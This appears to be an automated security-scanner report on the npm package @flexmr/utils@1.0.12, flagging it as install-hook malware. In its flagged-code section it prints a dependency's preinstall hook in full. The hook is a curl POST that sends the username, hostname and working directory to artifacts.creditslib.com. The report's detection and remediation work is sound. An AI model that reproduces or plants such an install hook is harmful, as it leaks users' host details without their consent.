@flexmr/utils@1.0.12
Generated package
AI Security Review
scanned 7d ago · by lpm-firewall-aiBoth inspected npm platform snapshots show an unconsented install-time disclosure of identifying host and project information to a collector unrelated to the package's stated utility. This supports blocking the package as install-hook abuse.
Static reason
No blocking static signals were detected.
Trigger
The dependency's preinstall hook runs during installation of the dependency tree.
Impact
The collector receives identifying information about the user, host, and working directory.
Mechanism
A curl POST sends the username, hostname, and working directory to the collector without a consent guard.
Attack narrative
The package declares a direct dependency hosted on artifacts.creditslib.com. The inspected Linux and macOS dependency manifests run a preinstall request that discloses the username, hostname, and working directory. A separate scanner snapshot lacks the hook, but that does not negate the hook in both npm platform snapshots.
AI rationale
Both inspected npm platform snapshots show an unconsented install-time disclosure of identifying host and project information to a collector unrelated to the package's stated utility. This supports blocking the package as install-hook abuse.
Evidence
package.json.lpm-dependency-evidence-c9d460a5-8f77-4a1b-9451-50ee8e59a8a6/0/npm-linux/package.json.lpm-dependency-evidence-c9d460a5-8f77-4a1b-9451-50ee8e59a8a6/0/npm-darwin/package.json
Network endpoints1
artifacts.creditslib.com/api/pings
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The root manifest installs a direct dependency from artifacts.creditslib.com.
- The Linux dependency snapshot runs a preinstall request that sends the username, hostname, and working directory to the collector.
- The macOS dependency snapshot contains the same preinstall disclosure, confirming the behavior across both npm platform samples.
Evidence against
- The separate scanner snapshot has no preinstall hook, but both npm platform snapshots do.
Behavioral surface
Trivial
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
12"dependencies": {
"daemon-thread-lookup-buffer": "https://artifacts.creditslib.com/npm/daemon-thread-lookup-buffer"
}
}
High
Suspicious Dependency Evidence
The root manifest installs a direct dependency from artifacts.creditslib.com.
package.jsonView on unpkg · L12.lpm-dependency-evidence-c9d460a5-8f77-4a1b-9451-50ee8e59a8a6/0/npm-linux/package.jsonView file
13"preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"f184a291-188a-4f1d-9bab-6c52a8aeae2f\", \"source_type\":\"http\", \"package\":\"@flexmr/utils\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'"
}
}
High
Suspicious Dependency Evidence
The Linux dependency snapshot runs a preinstall request that sends the username, hostname, and working directory to the collector.
.lpm-dependency-evidence-c9d460a5-8f77-4a1b-9451-50ee8e59a8a6/0/npm-linux/package.jsonView on unpkg · L13Findings
3 High
HighSuspicious Dependency Evidencepackage.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-c9d460a5-8f77-4a1b-9451-50ee8e59a8a6/0/npm-linux/package.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-c9d460a5-8f77-4a1b-9451-50ee8e59a8a6/0/npm-darwin/package.json
Affected versions and remediation
This report applies to @flexmr/utils@1.0.12.
See all versions of @flexmr/utils for other recorded verdicts.
- Avoid installing @flexmr/utils@1.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.